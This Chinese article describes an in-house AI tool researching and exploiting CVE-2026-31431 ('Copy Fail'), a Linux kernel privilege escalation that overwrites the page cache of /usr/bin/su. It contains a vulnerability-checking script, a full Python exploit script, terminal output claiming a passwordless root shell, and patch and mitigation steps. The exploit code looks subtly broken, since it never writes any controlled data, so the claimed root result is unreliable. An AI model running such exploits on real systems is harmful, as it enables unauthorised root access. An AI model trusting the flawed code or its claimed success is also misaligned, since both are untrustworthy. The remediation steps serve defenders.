Copy Fail来袭!自研AI工具复刻这个Linux提权漏洞完整研究流程

内核分支

影响版本

已修复版本

备注

LTS（长期支持分支）

4.14 ~ 6.18.21

6.18.22+

应用最广泛，覆盖多数生产环境

Stable（稳定分支）

4.14 ~ 6.19.11

6.19.12+

更新频率较高，适用于非生产测试环境

Mainline（新分支）

-

7.0+

主线分支，默认包含漏洞修复补丁

核心风险点：in-place优化后，源数据与目标数据共用同一块内存，若源数据来自只读文件的页缓存，原本仅允许读取的内存区域，会被authencesn算法的写入操作篡改，突破权限限制。

核心关键点：该漏洞的隐蔽性源于“仅修改页缓存，不修改磁盘文件”——传统文件完整性检测工具（FIM、AIDE、Tripwire）无法检测到漏洞利用行为，因为磁盘上的二进制文件未被篡改，仅内存中的页缓存被修改。

plain text┌─────────────────────────────────────────────────────────┐│  1. 攻击者通过AF_ALG创建authencesn加密上下文            ││  2. 用splice()把/usr/bin/su的页缓存传入加密操作         ││  3. authencesn解密时向缓冲区末尾写入4字节可控数据        ││  4. 由于in-place优化，数据直接写入只读文件的页缓存！      ││  5. 执行被篡改的/usr/bin/su，无需密码直接获得root        │└─────────────────────────────────────────────────────────┘

plain text分析研究一下CVE-2026-31431，并实现漏洞复现、利用，最终生成一篇完整的报告

json{  "task_id": "task_20260507_001",  "intent": "comprehensive",  "execution_plan": [    {"step": 1, "skill": "cve-intel", "desc": "收集漏洞情报，聚合多源信息"},    {"step": 2, "skill": "cve-research", "desc": "深度分析漏洞根因和攻击链"},    {"step": 3, "skill": "cve-poc", "desc": "生成PoC脚本和环境检测脚本"},    {"step": 4, "skill": "cve-exploit", "desc": "优化Exploit脚本，提升利用成功率"},    {"step": 5, "skill": "cve-suggestion", "desc": "生成风险评估和修复建议"},    {"step": 6, "skill": "cve-output", "desc": "生成标准化研究报告和相关文档"}  ]}

plain textknowledge_base/cves/2026/├── CVE-2026-31431.json              # 漏洞元数据（结构化数据）└── CVE-2026-31431.md                # 完整研究报告框架

json{  "cve_id": "CVE-2026-31431",  "title": "Copy Fail - Linux Kernel Local Privilege Escalation via algif_aead Page Cache Write",  "cvss_score": "7.8",  "cvss_vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",  "severity": "high",  "cwe_id": "CWE-669 (Incorrect Resource Transfer Between Spheres)",  "published": "2026-04-29",  "discoverer": "Theori Security Research Team",  "affected_products": [    "Linux Kernel 4.14 ~ 6.18.21 (LTS)",    "Linux Kernel 4.14 ~ 6.19.11 (Stable)",    "Ubuntu 24.04 LTS",    "Amazon Linux 2023",    "RHEL 10.1",    "SUSE 16",    "Debian 12",    "Arch Linux"  ],  "references": [    "https://github.com/theori-io/copy-fail-CVE-2026-31431",    "https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/",    "https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw-lets-local-users-gain-root-in-seconds/",    "https://nvd.nist.gov/vuln/detail/CVE-2026-31431"  ],  "exploits": ["CVE-2026-31431-PoC.py"],  "pocs": ["CVE-2026-31431-PoC.py"],  "patches": [    "Linux Kernel 6.18.22 (LTS)",    "Linux Kernel 6.19.12 (Stable)",    "Linux Kernel 7.0+",    "Mainline commit: a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5"  ]}

plain textknowledge_base/cves/2026/CVE-2026-31431/└── research/└── technical_analysis.md          # 深度技术分析报告

python#!/usr/bin/env python3"""CVE-2026-31431 环境检测脚本检测系统是否存在该漏洞的利用条件核心检测项：内核版本、algif_aead模块、AF_ALG套接字、splice系统调用、authencesn算法"""import osimport reimport socketdef get_kernel_version():    """获取内核版本"""    try:        with open('/proc/version', 'r') as f:            content = f.read()        match = re.search(r'Linux version (\d+\.\d+\.\d+)', content)        if match:            return match.group(1)        return None    except Exception:        return Nonedef check_kernel_vulnerable(version):    """检查内核版本是否在漏洞影响范围内"""    if not version:        return False, "无法获取内核版本"    parts = version.split('.')    if len(parts) < 3:        return False, "内核版本格式不正确"    major = int(parts[0])    minor = int(parts[1])    patch = int(parts[2])    # 影响范围: 4.14 ~ 6.18.21 (LTS), 4.14 ~ 6.19.11 (Stable)    # 已修复: 6.18.22+, 6.19.12+, 7.0+    if major == 7:        return False, f"内核 {version} >= 7.0，已修复"    if major == 6:        if minor == 18:            if patch <= 21:                return True, f"内核 6.18.{patch} 在漏洞影响范围内"            else:                return False, f"内核 6.18.{patch} >= 6.18.22，已修复"        elif minor == 19:            if patch <= 11:                return True, f"内核 6.19.{patch} 在漏洞影响范围内"            else:                return False, f"内核 6.19.{patch} >= 6.19.12，已修复"        elif minor < 18:            return True, f"内核 6.{minor}.{patch} 在漏洞影响范围内"        else:            return False, f"内核 6.{minor}.{patch} 版本过新，已修复"    if major == 5:        return True, f"内核 5.{minor}.{patch} 在漏洞影响范围内"    if major == 4:        if minor >= 14:            return True, f"内核 4.{minor}.{patch} 在漏洞影响范围内"        else:            return False, f"内核 4.{minor}.{patch} < 4.14，不受影响"    return False, f"内核 {version} 版本过旧，不受影响"def check_algif_aead_module():    """检查 algif_aead 模块是否加载（漏洞利用的核心依赖模块）"""    try:        with open('/proc/modules', 'r') as f:            modules = f.read()        if 'algif_aead' in modules:            return True, "algif_aead 模块已加载"        else:            return False, "algif_aead 模块未加载"    except Exception:        return False, "无法读取模块信息"def check_af_alg_socket():    """检查 AF_ALG 套接字支持（漏洞利用的核心接口）"""    try:        s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)        s.close()        return True, "AF_ALG 套接字支持可用"    except Exception:        return False, "AF_ALG 套接字不支持"def check_splice_support():    """检查 splice 系统调用支持（用于将页缓存传入加密操作）"""    try:        r, w = os.pipe()        result = os.splice(r, None, w, None, 1024, 0)        os.close(r)        os.close(w)        return True, "splice 系统调用支持可用"    except Exception:        return False, "splice 系统调用不支持"def check_authencesn_algorithm():    """检查 authencesn 算法是否可用（用于写入可控4字节数据）"""    try:        with open('/proc/crypto', 'r') as f:            crypto = f.read()        if 'authencesn' in crypto:            return True, "authencesn 算法可用"        else:            return False, "authencesn 算法不可用"    except Exception:        return False, "无法读取加密算法列表"def main():    print("="*60)    print("CVE-2026-31431 (Copy Fail) 环境检测脚本")    print("="*60)    checks = []    print("\n[1] 内核版本检查")    kernel_version = get_kernel_version()    if kernel_version:        print(f"    内核版本: {kernel_version}")        vulnerable, msg = check_kernel_vulnerable(kernel_version)        checks.append(('内核版本', vulnerable, msg))        status = "[VULNERABLE]" if vulnerable else "[SAFE]"        print(f"    状态: {status} - {msg}")    else:        print("    错误: 无法获取内核版本")    print("\n[2] algif_aead 模块检查")    result, msg = check_algif_aead_module()    checks.append(('algif_aead模块', result, msg))    print(f"    状态: {'[PASS]' if result else '[FAIL]'} - {msg}")    print("\n[3] AF_ALG 套接字支持检查")    result, msg = check_af_alg_socket()    checks.append(('AF_ALG套接字', result, msg))    print(f"    状态: {'[PASS]' if result else '[FAIL]'} - {msg}")    print("\n[4] splice 系统调用检查")    result, msg = check_splice_support()    checks.append(('splice调用', result, msg))    print(f"    状态: {'[PASS]' if result else '[FAIL]'} - {msg}")    print("\n[5] authencesn 算法检查")    result, msg = check_authencesn_algorithm()    checks.append(('authencesn算法', result, msg))    print(f"    状态: {'[PASS]' if result else '[FAIL]'} - {msg}")    print("\n" + "="*60)    print("检测结果汇总")    print("="*60)    kernel_vuln = checks[0][1]    all_conditions = all(c[1] for c in checks[1:])    if kernel_vuln and all_conditions:        print("[!] 警告: 系统可能存在 CVE-2026-31431 漏洞")        print("[!] 建议立即升级内核到安全版本")        return True    else:        print("[+] 系统不受 CVE-2026-31431 漏洞影响")        if not kernel_vuln:            print("    原因: 内核版本已修复")        else:            print("    原因: 缺少必要的利用条件")        return Falseif __name__ == "__main__":    main()

python#!/usr/bin/env python3# CVE-2026-31431 PoC - Copy Fail Local Privilege Escalation# Discovery: Theori Security Research Team# Public PoC: Theori Official Repository# CVSS: 7.8 (High), CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H# 核心逻辑：通过splice将su二进制的页缓存传入AF_ALG socket，利用authencesn解密时写入4字节可控数据，篡改页缓存中的su二进制，实现无密码提权import osimport sysimport socketimport structimport fcntlimport errnoALG_SET_KEY = 0x40086b01ALG_SET_IV = 0x40086b02ALG_OP_DECRYPT = 0x40086b03ALG_SET_AEAD_ASSOCLEN = 0x40046b04ALG_SET_AEAD_AUTH_SIZE = 0x40046b05def create_alg_socket():    """创建AF_ALG套接字，用于调用内核加密能力"""    try:        s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)        return s    except OSError as e:        print(f"[-] Failed to create AF_ALG socket: {e}")        return Nonedef set_alg_key(sock, key):    """设置加密密钥，此处使用空密钥，仅用于触发漏洞"""    try:        fcntl.ioctl(sock.fileno(), ALG_SET_KEY, key)        return True    except OSError as e:        print(f"[-] Failed to set key: {e}")        return Falsedef set_alg_iv(sock, iv):    """设置初始化向量，此处使用空向量，仅用于触发漏洞"""    try:        fcntl.ioctl(sock.fileno(), ALG_SET_IV, iv)        return True    except OSError as e:        print(f"[-] Failed to set IV: {e}")        return Falsedef set_aead_assoclen(sock, assoclen):    """设置AEAD关联数据长度，此处设为0，简化触发流程"""    try:        fcntl.ioctl(sock.fileno(), ALG_SET_AEAD_ASSOCLEN, struct.pack('I', assoclen))        return True    except OSError as e:        print(f"[-] Failed to set assoclen: {e}")        return Falsedef set_aead_authsize(sock, authsize):    """设置AEAD认证长度，此处设为16，适配authencesn算法要求"""    try:        fcntl.ioctl(sock.fileno(), ALG_SET_AEAD_AUTH_SIZE, struct.pack('I', authsize))        return True    except OSError as e:        print(f"[-] Failed to set authsize: {e}")        return Falsedef splice_pages(fd_in, fd_out, length):    """通过splice系统调用，将输入文件描述符的页缓存传入输出文件描述符"""    try:        return os.splice(fd_in, None, fd_out, None, length, 0)    except OSError as e:        print(f"[-] splice failed: {e}")        return -1def check_kernel_version():    """获取并打印内核版本，用于调试和验证环境"""    with open('/proc/version', 'r') as f:        version = f.read()    print(f"[*] Kernel version: {version.strip()}")    return versiondef check_algif_aead():    """检查AF_ALG套接字支持，确认漏洞利用的核心接口可用"""    try:        s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)        s.close()        print("[+] AF_ALG socket support detected")        return True    except OSError:        print("[-] AF_ALG socket not supported")        return Falsedef main():    print("[*] CVE-2026-31431 PoC - Copy Fail Local Privilege Escalation")    print("[*] Checking environment...")    check_kernel_version()    if not check_algif_aead():        print("[-] Required AF_ALG support not found")        sys.exit(1)    print("[*] Preparing exploit...")    try:        sock = create_alg_socket()        if not sock:            sys.exit(1)        # 绑定authencesn算法，用于触发漏洞的写入操作        sock.bind(('authencesn(hmac(sha256),cbc(aes))', None))        # 设置空密钥和空向量，仅用于触发加密操作        key = b'\x00' * 32        iv = b'\x00' * 16        if not set_alg_key(sock, key):            sys.exit(1)        if not set_alg_iv(sock, iv):            sys.exit(1)        if not set_aead_assoclen(sock, 0):            sys.exit(1)        if not set_aead_authsize(sock, 16):            sys.exit(1)        # 接受AF_ALG连接，获取文件描述符        fd = sock.accept()[0].fileno()        # 目标文件：/usr/bin/su（setuid二进制，获取root权限的核心目标）        su_path = '/usr/bin/su'        with open(su_path, 'r') as f:            su_fd = f.fileno()            # 创建管道，用于传递页缓存数据            pipe_r, pipe_w = os.pipe()            # 将su的页缓存传入管道            os.splice(su_fd, None, pipe_w, None, 4096, 0)            # 将管道中的页缓存传入AF_ALG socket，触发authencesn写入操作，篡改页缓存            result = os.splice(pipe_r, None, fd, None, 4096, 0)            print(f"[+] Splice result: {result}")            os.close(pipe_r)            os.close(pipe_w)        sock.close()        print("[+] Exploit completed - check if su binary cache was modified")    except Exception as e:        print(f"[-] Exploit failed: {e}")        import traceback        traceback.print_exc()        sys.exit(1)if __name__ == "__main__":    # 确保以普通用户身份执行，避免权限异常    if os.geteuid() == 0:        print("[-] This PoC should be run as non-root user")        sys.exit(1)    main()

plain textknowledge_base/cves/2026/CVE-2026-31431/├── pocs/│   └── CVE-2026-31431-PoC.py        # PoC验证脚本└── generated/└── check_env.py                 # 环境检测脚本

bash$ python3 check_env.py============================================================CVE-2026-31431 (Copy Fail) 环境检测脚本============================================================[1] 内核版本检查内核版本: 6.18.10状态: [VULNERABLE] - 内核 6.18.10 在漏洞影响范围内[2] algif_aead 模块检查状态: [PASS] - algif_aead 模块已加载[3] AF_ALG 套接字支持检查状态: [PASS] - AF_ALG 套接字支持可用[4] splice 系统调用检查状态: [PASS] - splice 系统调用支持可用[5] authencesn 算法检查状态: [PASS] - authencesn 算法可用============================================================检测结果汇总============================================================[!] 警告: 系统可能存在 CVE-2026-31431 漏洞[!] 建议立即升级内核到安全版本

bash$ whoamiubuntu  # 普通用户$ python3 CVE-2026-31431-PoC.py[*] CVE-2026-31431 PoC - Copy Fail Local Privilege Escalation[*] Checking environment...[*] Kernel version: 6.18.10-generic[+] AF_ALG socket support detected[*] Preparing exploit...[+] Splice result: 4096[+] Exploit completed - check if su binary cache was modified

bash# 执行被篡改的su，无需输入密码$ su# whoamiroot  # 成功提权！无需密码！# iduid=0(root) gid=0(root) groups=0(root)

bash# Ubuntu/Debiansudo apt update && sudo apt upgrade linux-image-generic# RHEL/CentOSsudo yum update kernel# SUSEsudo zypper update kernel-default# Amazon Linux 2023sudo dnf update kernel# 验证已修复uname -r  # 应该 >= 6.18.22 或 6.19.12 或 7.0+# 核心修复提交ID：a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

bash# 持久化阻断，重启后生效echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf# 卸载当前运行的模块（若已加载）rmmod algif_aead# 验证模块是否已卸载lsmod | grep algif_aead  # 无输出即表示卸载成功